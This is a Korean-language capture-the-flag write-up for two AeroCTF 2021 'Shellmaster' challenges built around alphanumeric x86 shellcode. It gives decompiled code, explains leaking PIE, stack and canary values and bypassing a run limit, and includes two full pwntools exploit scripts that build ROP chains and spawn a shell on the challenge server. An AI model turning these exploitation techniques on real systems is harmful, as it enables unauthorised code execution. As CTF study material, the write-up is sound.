[AEROCTF 2021] shell master1, 2
Shellmaster 1, 2
둘 다 기본적으로 alphanumeric shellcode
(이게 실제로 쓸모가 있나는 모르겠지만..)를 작성하는 능력이 있는지에 대해 묻는 문제였다.
문제는 둘 다 x86환경이었고 alphanumeric 범위에서 의외로 쓸만한 instruction이 많아서 크게 어려운 점은 잘 없다고 느껴질 수도 있다.
두 문제는 거의 똑같은데 약간의 차이점이 있다. 이 점에 대해서는 문제에 대해 서술하면서 추가로 적도록 하겠다.
Shellmaster1
Mitigation
- Relro : Full Rerlo
- Stack : canary found
- NX : NX enable
- PIE : PIE enable
풀 미티게이션이 걸려있는데 의외로 까다로운 점은 많이 없다.
Analyzing
분석에 큰 어려움은 없다.
Intro
필요없는 부분의 코드들은 생략하겠다. 메뉴는 add shellcode, delete shellcode, view shellcode, run shellcode
총 4개의 메뉴가 존재하고 main
함수에서는 원하는 기능을 실행시킬 수 있다.
add_shellcode
void __cdecl add_shellcode()
{
ssize_t v0; // [esp+Ch] [ebp-1Ch]
ssize_t i; // [esp+10h] [ebp-18h]
int v2; // [esp+14h] [ebp-14h]
int j; // [esp+18h] [ebp-10h]
char *s; // [esp+1Ch] [ebp-Ch]
printf("{?} Enter shellcode: ");
s = malloc(6u);
memset(s, 0, 6u);
v0 = read(0, s, 6u);
if ( s[v0 - 1] == 10 )
s[--v0] = 0;
for ( i = 0; i < v0; ++i )
{
if ( ((*__ctype_b_loc())[s[i]] & 0x400) == 0 && ((*__ctype_b_loc())[s[i]] & 0x800) == 0 )
{
puts("{-} Invalid shellcode!");
free(s);
return;
}
}
v2 = 0;
for ( j = 0; j <= 1; ++j )
{
if ( !shellcodes[j] )
{
shellcodes[j] = s;
v2 = 1;
break;
}
}
if ( !v2 )
{
puts("{-} No free space!");
free(s);
}
}
add함수에서는 char *shellcodes[2]
라는 전역변수에 shellcode를 6바이트만큼 입력받고 인덱스에 알맞는 위치에 삽입한다. 근데 여기서 ascii범위가 아니거나 특수문자인 경우에는 중간에 shellcode를 삭제시켜버리기 때문에 무조건 alphanumeric범위 내에서 작성해야만 한다.
run_shellcode
void __cdecl run_shellcode()
{
int v0; // [esp+4h] [ebp-24h] BYREF
unsigned int v1; // [esp+8h] [ebp-20h]
char *v2; // [esp+Ch] [ebp-1Ch]
__int64 v3; // [esp+10h] [ebp-18h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
if ( limit == 2 )
{
puts("{-} You have no more attempts!");
}
else
{
++limit;
printf("{?} Enter idx: ");
v1 = read_int();
if ( v1 <= 2 )
{
if ( shellcodes[v1] )
{
printf("{?} Enter shellcode argument: ");
__isoc99_scanf("%ul", &v0);
memset(addr, 0, 6u);
memcpy(addr, shellcodes[v1], 6u);
addr[6] = '\x90';
addr[7] = '\xC3';
v2 = addr;
v3 = (addr)(v0);
printf("{!} Shellcode return code = %lld\n", v3);
}
else
{
puts("{-} No such shellcode!");
}
}
else
{
puts("{-} Incorrect idx!");
}
}
}
run 함수에서는 그냥 인덱스에 알맞는 shellcode를 실행시켜주는데, 쉘코드의 맨 마지막에 ret
instruction을 추가한 후에 call해주면서 원래의 위치에 돌아올 수 있도록 만든다. 또, shellcode에 인자를 스택에 push할 수 있도록 해준다.
shellcode가 모두 실행된 후에는 eax
값을 printf로 출력해준다.
delete
랑 view
함수는 그냥 이름처럼 각자 역할에 맞게 인덱스에 알맞는 shellcode들을 삭제한다. 딱히 볼 건 없어서 코드는 생략하겠다.
Exploit
여기서 exploit을 위해서 캐치해야 하는 점이 몇 가지 있는데 shellcode의 맨 마지막에 ret을 추가한다는 점과 shellcode의 인자를 1개 넣어줄 수 있다는 점, 그리고 eax값을 printf로 출력해준다는 점이다.
그럼 그냥 이제는 exploit을 하면 된다.
근데 그냥 epxloit하기에는 조금 빡센게, run shellcode의 limit가 2번이기 때문에 이 부분을 우회해야 한다.
이 부분같은 경우에는 먼저 pie를 leak해야 한다. pie를 leak 한 후에 limit++
을 진행하는 line을 한 번 더 실행시켜서 검증을 우회할 것이다.
How to leak pie and bypass the limit?
방법은 간단하다. 일단 32bit의 경우에는 ebx에 got영역의 값이 쓰여있기 때문에 push ebx; pop eax; inc edx; inc edx; ...
의 형태로 eax의 값을 code영역으로 옮겨주면 pie가 leak이 된다.
그 이후에는 아까 인자를 push
해주는 점을 이용해서 limit++
을 진행하는 line으로 return하게 만들어준다. 그럼 limit
전역변수가 3이 되면서 limit == 2
를 검증하는 부분이 우회가 된다.
그 다음은 여러가지 방법으로 exploit을 진행할 수 있겠지만, 나의 경우에는 read_int
함수로 ret을 시켜서 rop를 진행했다. 근데 이 부분에서 문제점이 바로 canary
이다.
How to leak canary and ROP?
이 것도 사실 alphanumeric shellcode를 짜본 사람이 있다면 혹은 intel opcode에 대해서 공부해본 사람이 있다면 알겠지만 의외로 xor eax, [ecx + 0x30]
같은 쉘 코드가 alphanumeric이라는 걸 알 수 있다. 게다가 겨우 3바이트밖에 안 한다.
근데 shellcode를 호출할 때를 보면 call eax
의 형식으로 호출하고 이말은 즉 shellcode의 주소는 leak을 할 수 있다는 말이 된다. 심지어 push esp; pop ecx;
같은 어셈블리도 사용이 가능하다.
이런 점들을 이용하면 stack에 존재하는 canary의 값과 shellcode의 시작주소를 xor
시켜서 leak
할 수 있고, shellcode의 주소를 이미 leak했다면 shellcode의 주소값과 leak
된 값을 xor
했을 때 canary
의 값을 leak
할 수 있다는 것도 알 수 있을 것이다.
이후는 간단하다. shellcode의 인자를 추가할 수 있으니 read_int
함수에서 read함수의 입력 size를 push한 이후의 영역(이하 read_int
가젯)으로 ret시킬 수 있고, 이 말은 즉 read(0, stack, our_input)
의 형식으로 read함수를 호출하여 ROP를 진행할 수 있다는 말이 된다.
이런 아이디어를 갖고 exploit을 진행하면 된당.
solve.py
from pwn import *
e = ELF('./shmstr')
#p = process(e.path, aslr=False)
p = remote('151.236.114.211', 17173)
pppr = 0x000019d0
read = 0x1130
sla = p.sendlineafter
sa = p.sendafter
def add(buf):
sla('>', '1')
sa(': ', buf)
def delete(idx):
sla('>', '3')
sa(': ', str(idx))
def run(idx, arg):
sla('>', '4')
sla(': ', str(idx))
sla(': ', str(arg))
add("\x58\x50\x50\x50\x58\x58")
run(0, 0)
p.recvuntil("= ")
pie = (int(p.recvline()) & 0xffffffff) - 0x1841
pppr += pie
read += pie
e.address = pie
log.info('[PIE] 0x%x'%pie)
add("\x58\x59\x51\x50\x58\x51")
run(1, pie + 0x1734)
sla(': ', '0')
sla(': ', '0')
delete(0)
delete(1)
buf = asm("push esp; pop eax; push eax; pop eax; push eax; pop eax")
add(buf)
run(0, 0)
p.recvuntil('code = ')
stack = (int(p.recvline()) & 0xffffffff)
log.info("[STACK] 0x%x"%stack)
buf = asm("push eax; pop eax; push eax; pop eax; push eax; pop eax")
add(buf)
run(1, 0)
p.recvuntil('code = ')
shellcode = (int(p.recvline()) & 0xffffffff)
log.info("[SHELLCODE] 0x%x"%shellcode)
delete(0)
delete(1)
buf = asm("push esp; pop ecx; xor eax, [ecx + 0x30]; inc edx")
add(buf)
run(0, 0)
p.recvuntil('code = ')
canary = ((int(p.recvline()) ^ shellcode) & 0xffffffff)
log.info("[CANARY] 0x%x"%canary)
buf = asm("pop edx; pop edx; pop ecx; push eax; push edx; inc edx;")
add(buf)
run(1, pie + 0x191F)
rop = 'A'*0x8 + p32(canary) + 'A'*0x4 + p32(pie + 0x3f9c) + 'A'*4
rop += p32(read) + p32(pppr) + p32(0) + p32(shellcode) + p32(0x2000)
rop += p32(shellcode)*2
p.send(rop)
sleep(5)
p.send('\x90'*0x100 + asm(shellcraft.sh()) + '\x90'*0x100)
p.interactive()
Shellmaster2
Mitigation
- Relro : Full Rerlo
- Stack : canary found
- NX : NX enable
- PIE : PIE enable
1번 문제와 같이 풀 미티게이션이다.
Analyzing
분석할 건 딱히 없다. 1번문제랑 다른 점은 add_shellcode
함수에서 shellcode의 크기를 16byte로 늘려줬다는 점과 run_shellcoed
의 limit이 6번으로 늘어났다는 점, 그리고 인자를 넘겨줄 수 없다는 점이다.
Exploit
이게 더 쉬워진 거 아닌가? 라고 생각할 수 있는데 alphanumeric 범위를 초과하는 값
을 스택에 마음대로 쌓을 수 있도록 인자를 넣어주는 부분이 사라진 건 꽤 큰 타격이다.
그래서 xor
, push
등의 instruction들을 이용해서 read_int
가젯을 호출해야한다.
일단 6번이라는 꽤 많은 횟수로 쉘코드를 호출 할 수 있기 때문에 pie, shellcode, canary
는 금방 leak할 수 있을 것이다. 근데 6번도 은근히 적은 횟수이기 때문에 늘어난 16byte라는 shellcode의 크기를 이용해 한 번에 두 가지의 작업을 동시에 진행해야한다.
일단 stack에는 [esp + alphanumeric range value]
의 영역에 함수가 계속 진행되도 변형되지 않으면서 동시에 0이라는 값을 갖는 영역이 존재하기에 xor
을 통해 원하는 값으로 만들어줄 수 있다.
하지만 read_int
가젯의 상위 3바이트는 몰라도 가장 최하위 1바이트는 0xa2
로 항상 alphanumeric하지 않은 값이다. 즉 이 부분을 xor을 통해서 맞춰줘야 하는데, 0xa2
는 alphanumeric 범위의 어떤 값들을 통해 서로 xor을 해도 맞춰주기 어렵다.
How to make read_int gadget?
그래서 내가 찾아낸 값은 0xfb ^ 0x59 == 0xa2
였다… ^^.. 이 값에 알맞게 일단 read_int
가젯의 하위 1바이트를 0x59로 맞춰준 후 stack에 xor해서 삽입했다.
이건 모두 push 0x41414141
같은 instruction이 alphanumeric이라 가능한 이야기 ㅎㅎ
그 이후에는 stack의 어떤 한 부분에 0혹은 그에 가까운 값이 있는데, 그 값과 dec reg
라는 어셈블리를 통해서 0xffffffff
이라는 값을 만들었고 이 값의 가장 상위 1바이트만 스택에 기록하여 0xff
라는 값도 만들었다.
그 이후 그 값을 레지스터에 저장해 dec reg
와 함께 0xfb
를 만들었고, 이 값을 통해서 xor을 진행하면 이제 stack에 read_int
가젯이 존재하게 된다. ^^…, 심지어 상위 3바이트 중 0.5byte정도는 브포를 진행해야 한다…
뭐 여튼 이런 방식을 통해 read_int
가젯을 호출할 수 있고 그 이후는 그냥 똑같이 rop를 통해 execve(/bin/sh)
shellcode를 실행시키면 된다.
계속 적다보니까 길어지고 적기도 귀찮아지고 해서 후반부에는 대충 적었음.
근데 쓰면서 깨우친 건데 걍 read_int
가젯 하위 1바이트를 0으로 넣고 그 상태에서 decrease를 진행했으면 0xfb
를 만들어내는 작업을 하나 더 줄여볼 수 있었겠다는 생각이 든다.
push read_int
5바이트 pop reg
1바이트
push esp ; pop reg
2바이트 dec reg
1바이트 * 5
xor [stack], reg
3바이트
딱 16바이트…, ㅎㅎ 이걸 왜 생각 못했을까… ㅎㅎ
풀었으니 됐지 뭐..,
solve.py
from pwn import *
import string
e = ELF('./shmstr2')
table = string.printable[:62]
def add(buf):
sla('>', '1')
sa(': ', buf)
def delete(idx):
sla('>', '3')
sa(': ', str(idx))
def run(idx):
sla('>', '4')
sla(': ', str(idx))
def main(p):
pppr = 0x00001961
read = 0x1120
target = 0x18A2
buf = asm("push ebx; pop eax;") + asm("inc edx")*0xe
add(buf)
run(0)
p.recvuntil("= ")
pie = (int(p.recvline(), 16) & 0xffffffff) - 0x3fa0
pppr += pie
read += pie
target += pie
for i in range(3):
check = False
for c in table:
if chr(target >> (8*(3 - i)) & 0xff) is c:
check = True
if check is False:
log.info("0x%x!!!!"%(target >> (8*(3 - i)) & 0xff))
log.info("0x%x is not exploitable"%target)
p.close()
return True
e.address = pie
log.info('[PIE] 0x%x'%pie)
val = (target & 0xffffff00) + 0x59
buf = asm("push esp; pop ecx; push 0x%x; pop edx; xor DWORD PTR [ecx + 0x38], edx; pop edx;"%val)
buf += asm("push edx;")*4
add(buf)
run(1)
p.recvuntil("= ")
shellcode = (int(p.recvline(), 16) & 0xffffffff)
log.info('[SHELLCODE] 0x%x'%shellcode)
delete(0)
delete(1)
buf = asm("pop edx;")
buf += asm("push esp;")*10
buf += asm("pop ecx; xor eax, [ecx + 0x30]; push edx")
add(buf)
run(0)
p.recvuntil('code = ')
canary = ((int(p.recvline(), 16) ^ shellcode) & 0xffffffff)
log.info("[CANARY] 0x%x"%canary)
buf = asm("push esp; pop ecx; pop eax; pop edx;")
buf += asm("dec edx;")*8
buf += asm("xor [ecx + 0x49], edx; push eax;")
add(buf)
run(1)
delete(0)
delete(1)
buf = asm("push esp; pop ecx; pop eax; pop edx; pop edx; xor edx, [ecx + 0x4c];")
buf += asm("dec edx")*4
buf += asm("xor [ecx + 0x38], edx; push eax;")
add(buf)
run(0)
buf = asm("push esp; pop ecx; pop eax; pop edx; pop edx; dec edx; xor edx, [ecx + 0x38]; push 0x41414141; push edx; inc edx;")
add(buf)
run(1)
rop = 'A'*0x8 + p32(canary) + 'A'*0x4 + p32(pie + 0x3fa0) + 'A'*0x4
rop += p32(read) + p32(shellcode) + p32(0) + p32(shellcode) + p32(0x1000)
p.send(rop)
sleep(5)
p.send("\x90"*0x100 + asm(shellcraft.sh()) + "\x90"*0x100)
p.interactive()
return False
if __name__ == "__main__":
global sla, sa
result = True
while result:
#p = process(e.path)
p = remote('151.236.114.211', 17183)
sla = p.sendlineafter
sa = p.sendafter
result = main(p)
fuckin chall.